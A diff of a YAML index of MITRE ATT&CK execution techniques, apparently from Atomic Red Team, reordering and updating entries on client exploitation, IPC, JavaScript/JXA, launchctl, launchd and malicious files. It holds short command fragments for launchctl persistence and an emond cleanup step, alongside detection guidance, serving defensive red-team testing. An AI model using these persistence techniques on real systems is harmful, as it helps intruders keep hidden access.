+      name: Exploitation for Client Execution
       external_references:
-      - source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1203
+      - url: https://attack.mitre.org/techniques/T1203
         external_id: T1203
+        source_name: mitre-attack
+      x_mitre_version: '1.2'
+      modified: '2021-10-15T19:01:34.932Z'
+      x_mitre_system_requirements:
+      - Remote exploitation for execution requires a remotely accessible service reachable
+        over the network or other vector of access such as spearphishing or drive-by
+        compromise.
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: execution
+      x_mitre_platforms:
+      - Linux
+      - Windows
+      - macOS
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63
       description: |-
         Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
 
@@ -64779,16 +66886,7 @@ execution:
         ### Common Third-party Applications
 
         Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.
-      name: Exploitation for Client Execution
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: execution
-      modified: '2020-03-28T19:06:02.690Z'
-      created: '2018-04-18T17:59:24.739Z'
-      x_mitre_version: '1.1'
+      x_mitre_remote_support: false
       x_mitre_detection: Detecting software exploitation may be difficult depending
         on the tools available. Also look for behavior on the endpoint system that
         might indicate successful compromise, such as abnormal behavior of the browser
@@ -64796,45 +66894,37 @@ execution:
         evidence of [Process Injection](https://attack.mitre.org/techniques/T1055)
         for attempts to hide execution, evidence of Discovery, or other unusual network
         traffic that may indicate additional tools transferred to the system.
-      x_mitre_platforms:
-      - Linux
-      - Windows
-      - macOS
-      x_mitre_system_requirements:
-      - Remote exploitation for execution requires a remotely accessible service reachable
-        over the network or other vector of access such as spearphishing or drive-by
-        compromise.
-      x_mitre_remote_support: true
-      x_mitre_is_subtechnique: false
+      created: '2018-04-18T17:59:24.739Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
     atomic_tests: []
   T1061:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1061
-        url: https://attack.mitre.org/techniques/T1061
-      - url: https://en.wikipedia.org/wiki/Run_command
-        description: Wikipedia. (2018, August 3). Run Command. Retrieved October 12,
-          2018.
-        source_name: Wikipedia Run Command
+      type: attack-pattern
+      name: Graphical User Interface
+      x_mitre_version: '2.0'
+      modified: '2020-03-30T13:38:08.738Z'
+      created: '2017-05-31T21:30:50.342Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: execution
+      x_mitre_deprecated: true
+      id: attack-pattern--a6525aec-acc4-47fe-92f9-b9b4de4b9228
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      - SYSTEM
       description: |-
         **This technique has been deprecated. Please use [Remote Services](https://attack.mitre.org/techniques/T1021) where appropriate.**
 
         The Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.
-      name: Graphical User Interface
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--a6525aec-acc4-47fe-92f9-b9b4de4b9228
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: execution
-      modified: '2020-03-30T13:38:08.738Z'
-      created: '2017-05-31T21:30:50.342Z'
-      x_mitre_deprecated: true
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '2.0'
+      x_mitre_remote_support: true
       x_mitre_detection: "Detection of execution through the GUI will likely lead
         to significant false positives. Other factors should be considered to detect
         misuse of services that can lead to adversaries gaining access to systems
@@ -64843,25 +66933,41 @@ execution:
         interactive sessions are suspicious. Collect and audit security logs that
         may indicate access to and use of Legitimate Credentials to access remote
         systems within the network."
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      - SYSTEM
-      x_mitre_remote_support: true
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1061
+        external_id: T1061
+        source_name: mitre-attack
+      - source_name: Wikipedia Run Command
+        description: Wikipedia. (2018, August 3). Run Command. Retrieved October 12,
+          2018.
+        url: https://en.wikipedia.org/wiki/Run_command
     atomic_tests: []
   T1559:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Inter-Process Communication
+      x_mitre_data_sources:
+      - 'Module: Module Load'
+      - 'Process: Process Creation'
+      - 'Script: Script Execution'
+      x_mitre_version: '1.1'
+      modified: '2021-10-15T19:48:30.432Z'
       created: '2020-02-12T14:08:48.689Z'
-      modified: '2020-03-28T19:34:47.546Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: execution
-      type: attack-pattern
       id: attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d
+      x_mitre_platforms:
+      - Windows
+      - macOS
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - Administrator
+      - User
+      - SYSTEM
       description: "Adversaries may abuse inter-process communication (IPC) mechanisms
         for local code or command execution. IPC is typically used by processes to
         share data, communicate with each other, or synchronize execution. IPC is
@@ -64872,82 +66978,47 @@ execution:
         or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002)
         or [Component Object Model](https://attack.mitre.org/techniques/T1559/001).
         Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s,
-        may also leverage underlying IPC mechanisms."
-      name: Inter-Process Communication
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1559
-        url: https://attack.mitre.org/techniques/T1559
-      x_mitre_platforms:
-      - Windows
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.0'
+        may also leverage underlying IPC mechanisms. Adversaries may also use [Remote
+        Services](https://attack.mitre.org/techniques/T1021) such as [Distributed
+        Component Object Model](https://attack.mitre.org/techniques/T1021/003) to
+        facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)"
+      x_mitre_remote_support: true
       x_mitre_detection: Monitor for strings in files/commands, loaded DLLs/libraries,
         or spawned processes that are associated with abuse of IPC mechanisms.
-      x_mitre_permissions_required:
-      - Administrator
-      - User
-      - SYSTEM
-      x_mitre_data_sources:
-      - 'Module: Module Load'
-      - 'Process: Process Creation'
-      - 'Script: Script Execution'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1559
+        external_id: T1559
+        source_name: mitre-attack
+      - url: https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html
+        description: Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June
+          10, 2019.
+        source_name: Fireeye Hunting COM June 2019
     atomic_tests: []
   T1059.007:
     technique:
-      created: '2020-06-23T19:12:24.924Z'
-      modified: '2021-04-27T19:21:05.521Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: execution
       type: attack-pattern
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1059.007
-        url: https://attack.mitre.org/techniques/T1059/007
-      - source_name: NodeJS
-        url: https://nodejs.org/
-        description: OpenJS Foundation. (n.d.). Node.js. Retrieved June 23, 2020.
-      - source_name: JScrip May 2018
-        url: https://docs.microsoft.com/windows/win32/com/translating-to-jscript
-        description: Microsoft. (2018, May 31). Translating to JScript. Retrieved
-          June 23, 2020.
-      - source_name: Microsoft JScript 2007
-        url: https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript
-        description: Microsoft. (2007, August 15). The World of JScript, JavaScript,
-          ECMAScript …. Retrieved June 23, 2020.
-      - source_name: Microsoft Windows Scripts
-        url: https://docs.microsoft.com/scripting/winscript/windows-script-interfaces
-        description: Microsoft. (2017, January 18). Windows Script Interfaces. Retrieved
-          June 23, 2020.
-      - source_name: Apple About Mac Scripting 2016
-        url: https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html
-        description: Apple. (2016, June 13). About Mac Scripting. Retrieved April
-          14, 2021.
-      - source_name: SpecterOps JXA 2020
-        url: https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5
-        description: Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14,
-          2021.
-      - source_name: SentinelOne macOS Red Team
-        url: https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/
-        description: 'Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple
-          APIs Without Building Binaries. Retrieved July 17, 2020.'
-      - source_name: Red Canary Silver Sparrow Feb2021
-        url: https://redcanary.com/blog/clipping-silver-sparrows-wings/
-        description: 'Tony Lambert. (2021, February 18). Clipping Silver Sparrow’s
-          wings: Outing macOS malware before it takes flight. Retrieved April 20,
-          2021.'
-      - source_name: MDSec macOS JXA and VSCode
-        url: https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/
-        description: Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans
-          with VSCode Extensions. Retrieved April 20, 2021.
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      modified: '2021-08-16T21:02:05.142Z'
       name: JavaScript
+      x_mitre_data_sources:
+      - 'Command: Command Execution'
+      - 'Process: Process Creation'
+      - 'Module: Module Load'
+      - 'Script: Script Execution'
+      x_mitre_version: '2.1'
+      created: '2020-06-23T19:12:24.924Z'
+      x_mitre_contributors:
+      - Cody Thomas, SpecterOps
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      - SYSTEM
+      x_mitre_platforms:
+      - Windows
+      - macOS
+      - Linux
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d
       description: |-
         Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)
 
@@ -64956,78 +67027,115 @@ execution:
         JavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple’s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple’s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple’s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility <code>osascript</code>, they can be compiled into applications or script files via <code>osacompile</code>, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)
 
         Adversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).
-      id: attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d
-      x_mitre_version: '2.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      - SYSTEM
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: execution
       x_mitre_detection: |-
         Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source.
 
         Monitor for execution of JXA through <code>osascript</code> and usage of <code>OSAScript</code> API that may be related to other suspicious behavior occurring on the system.
 
         Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.
-      x_mitre_data_sources:
-      - 'Command: Command Execution'
-      - 'Process: Process Creation'
-      - 'Module: Module Load'
-      - 'Script: Script Execution'
-      x_mitre_platforms:
-      - Windows
-      - macOS
-      - Linux
-      x_mitre_contributors:
-      - Cody Thomas, SpecterOps
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1059/007
+        external_id: T1059.007
+        source_name: mitre-attack
+      - url: https://nodejs.org/
+        description: OpenJS Foundation. (n.d.). Node.js. Retrieved June 23, 2020.
+        source_name: NodeJS
+      - url: https://docs.microsoft.com/windows/win32/com/translating-to-jscript
+        description: Microsoft. (2018, May 31). Translating to JScript. Retrieved
+          June 23, 2020.
+        source_name: JScrip May 2018
+      - url: https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript
+        description: Microsoft. (2007, August 15). The World of JScript, JavaScript,
+          ECMAScript …. Retrieved June 23, 2020.
+        source_name: Microsoft JScript 2007
+      - url: https://docs.microsoft.com/scripting/winscript/windows-script-interfaces
+        description: Microsoft. (2017, January 18). Windows Script Interfaces. Retrieved
+          June 23, 2020.
+        source_name: Microsoft Windows Scripts
+      - url: https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html
+        description: Apple. (2016, June 13). About Mac Scripting. Retrieved April
+          14, 2021.
+        source_name: Apple About Mac Scripting 2016
+      - url: https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5
+        description: Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14,
+          2021.
+        source_name: SpecterOps JXA 2020
+      - url: https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/
+        description: 'Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple
+          APIs Without Building Binaries. Retrieved July 17, 2020.'
+        source_name: SentinelOne macOS Red Team
+      - url: https://redcanary.com/blog/clipping-silver-sparrows-wings/
+        description: 'Tony Lambert. (2021, February 18). Clipping Silver Sparrow’s
+          wings: Outing macOS malware before it takes flight. Retrieved April 20,
+          2021.'
+        source_name: Red Canary Silver Sparrow Feb2021
+      - url: https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/
+        description: Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans
+          with VSCode Extensions. Retrieved April 20, 2021.
+        source_name: MDSec macOS JXA and VSCode
     atomic_tests: []
   T1569.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1569.001
-        url: https://attack.mitre.org/techniques/T1569/001
-      - source_name: Launchctl Man
-        url: https://ss64.com/osx/launchctl.html
-        description: SS64. (n.d.). launchctl. Retrieved March 28, 2020.
-      - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
-        description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
-          Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
-        source_name: Sofacy Komplex Trojan
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Launchctl
-      description: |-
-        Adversaries may abuse launchctl to execute commands or programs. Launchctl controls the macOS launchd process, which handles things like [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s and [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)
-
-        By loading or reloading [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s, adversaries can install persistence or execute changes they made.(Citation: Sofacy Komplex Trojan)
-
-        Running a command from launchctl is as simple as <code>launchctl submit -l <labelName> -- /Path/to/thing/to/execute "arg" "arg" "arg"</code>. Adversaries can abuse this functionality to execute code or even bypass application control if launchctl is an allowed process.
-      id: attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: execution
-      modified: '2020-06-08T23:28:29.079Z'
-      created: '2020-03-10T18:26:56.187Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      - root
-      x_mitre_detection: KnockKnock can be used to detect persistent programs such
-        as those installed via launchctl as launch agents or launch daemons. Additionally,
-        every launch agent or launch daemon must have a corresponding plist file on
-        disk which can be monitored. Monitor process execution from launchctl/launchd
-        for unusual or unknown processes.
+      name: Launchctl
       x_mitre_data_sources:
       - 'Command: Command Execution'
       - 'Process: Process Creation'
       - 'Service: Service Creation'
       - 'File: File Modification'
+      x_mitre_version: '1.1'
+      modified: '2021-10-15T18:40:23.141Z'
+      created: '2020-03-10T18:26:56.187Z'
+      x_mitre_permissions_required:
+      - User
+      - root
       x_mitre_platforms:
       - macOS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d
+      description: |
+        Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)
+
+        Adversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: <code>launchctl load</code>,<code>launchctl unload</code>, and <code>launchctl start</code>. Adversaries can use scripts or manually run the commands <code>launchctl load -w "%s/Library/LaunchAgents/%s"</code> or <code>/bin/launchctl load</code> to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: execution
+      x_mitre_detection: "Every Launch Agent and Launch Daemon must have a corresponding
+        plist file on disk which can be monitored. Monitor for recently modified or
+        created plist files with a significant change to the executable path executed
+        with the command-line <code>launchctl</code> command. Plist files are located
+        in the root, system, and users <code>/Library/LaunchAgents</code> or <code>/Library/LaunchDaemons</code>
+        folders. \n\nMonitor command-line execution of the <code>launchctl</code>
+        command immediately followed by abnormal network connections. [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s
+        or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s with executable
+        paths pointing to <code>/tmp</code> and <code>/Shared</code> folders locations
+        are potentially suspicious. \n\nWhen removing [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s
+        or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s ensure
+        the services are unloaded prior to deleting plist files."
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1569/001
+        external_id: T1569.001
+        source_name: mitre-attack
+      - url: https://ss64.com/osx/launchctl.html
+        description: SS64. (n.d.). launchctl. Retrieved March 28, 2020.
+        source_name: Launchctl Man
+      - source_name: Sofacy Komplex Trojan
+        description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
+          Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
+        url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
+      - url: https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/
+        description: Phil Stokes. (2021, February 16). 20 Common Tools & Techniques
+          Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.
+        source_name: 20 macOS Common Tools and Techniques
       identifier: T1569.001
     atomic_tests:
     - name: Launchctl
@@ -65056,28 +67164,18 @@ execution:
         name: bash
   T1053.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1053.004
-        url: https://attack.mitre.org/techniques/T1053/004
-      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
-        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
-          July 10, 2017.
-        source_name: AppleDocs Launch Agent Daemons
-      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
-        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
-          on Mac OS X. Retrieved July 5, 2017.
-        source_name: Methods of Mac Malware Persistence
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Launchd
-      description: |-
-        Adversaries may abuse the <code>Launchd</code> daemon to perform task scheduling for initial or recurring execution of malicious code. The <code>launchd</code> daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).
-
-        An adversary may use the <code>launchd</code> daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. <code>launchd</code> can also be abused to run a process under the context of a specified account. Daemons, such as <code>launchd</code>, run with the permissions of the root user account, and will operate regardless of which user account is logged in.
-      id: attack-pattern--8faedf87-dceb-4c35-b2a2-7286f59a3bc3
       type: attack-pattern
+      name: Launchd
+      x_mitre_data_sources:
+      - 'Scheduled Job: Scheduled Job Creation'
+      - 'Command: Command Execution'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.0'
+      modified: '2021-10-07T21:38:03.610Z'
+      created: '2019-12-03T14:15:27.452Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: execution
@@ -65085,13 +67183,33 @@ execution:
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-03-23T22:41:14.739Z'
-      created: '2019-12-03T14:15:27.452Z'
-      x_mitre_version: '1.0'
+      x_mitre_deprecated: true
+      id: attack-pattern--8faedf87-dceb-4c35-b2a2-7286f59a3bc3
+      x_mitre_platforms:
+      - macOS
       x_mitre_is_subtechnique: true
-      x_mitre_remote_support: false
       x_mitre_permissions_required:
       - root
+      description: "This technique is deprecated due to the inaccurate usage. The
+        report cited did not provide technical detail as to how the malware interacted
+        directly with launchd rather than going through known services. Other system
+        services are used to interact with launchd rather than launchd being used
+        by itself. \n\nAdversaries may abuse the <code>Launchd</code> daemon to perform
+        task scheduling for initial or recurring execution of malicious code. The
+        <code>launchd</code> daemon, native to macOS, is responsible for loading and
+        maintaining services within the operating system. This process loads the parameters
+        for each launch-on-demand system-level daemon from the property list (plist)
+        files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code>
+        (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property
+        list files which point to the executables that will be launched (Citation:
+        Methods of Mac Malware Persistence).\n\nAn adversary may use the <code>launchd</code>
+        daemon in macOS environments to schedule new executables to run at system
+        startup or on a scheduled basis for persistence. <code>launchd</code> can
+        also be abused to run a process under the context of a specified account.
+        Daemons, such as <code>launchd</code>, run with the permissions of the root
+        user account, and will operate regardless of which user account is logged
+        in."
+      x_mitre_remote_support: false
       x_mitre_detection: "Monitor scheduled task creation from common utilities using
         command-line invocation. Legitimate scheduled tasks may be created during
         installation of new software or through system administration functions. Look
@@ -65102,13 +67220,19 @@ execution:
         part of a chain of behavior that could lead to other activities, such as network
         connections made for Command and Control, learning details about the environment
         through Discovery, and Lateral Movement."
-      x_mitre_data_sources:
-      - 'Scheduled Job: Scheduled Job Creation'
-      - 'Command: Command Execution'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      x_mitre_platforms:
-      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1053/004
+        external_id: T1053.004
+        source_name: mitre-attack
+      - source_name: AppleDocs Launch Agent Daemons
+        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
+          July 10, 2017.
+        url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
+      - source_name: Methods of Mac Malware Persistence
+        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
+          on Mac OS X. Retrieved July 5, 2017.
+        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
       identifier: T1053.004
     atomic_tests:
     - name: Event Monitor Daemon Persistence
@@ -65141,12 +67265,23 @@ execution:
           sudo rm /private/var/db/emondClients/#{empty_file}
   T1204.002:
     technique:
-      created: '2020-03-11T14:49:36.954Z'
-      modified: '2020-03-11T14:55:56.177Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: execution
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: Malicious File
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'File: File Creation'
+      x_mitre_version: '1.1'
+      modified: '2021-07-21T23:10:47.193Z'
+      created: '2020-03-11T14:49:36.954Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e
       description: |-
         An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.
@@ -65154,29 +67289,18 @@ execution:
         Adversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) on the file to increase the likelihood that a user will open it.
 
         While [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).
-      name: Malicious File
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1204.002
-        url: https://attack.mitre.org/techniques/T1204/002
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'File: File Creation'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: execution
       x_mitre_detection: |-
         Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.
 
         Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).
-      x_mitre_permissions_required:
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1204/002
+        external_id: T1204.002
+        source_name: mitre-attack
       identifier: T1204.002
     atomic_tests:
     - name: OSTap Style Macro Execution
@@ -65616,44 +67740,10 @@ execution:
 '
   T1204.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1204.003
-        url: https://attack.mitre.org/techniques/T1204/003
